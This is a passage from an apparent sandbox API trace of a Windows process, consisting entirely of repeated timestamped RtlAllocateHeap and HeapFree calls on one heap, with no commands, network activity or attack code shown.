lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.482] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.482] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.483] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.483] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.484] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.484] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.485] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.486] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.486] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.487] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.487] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 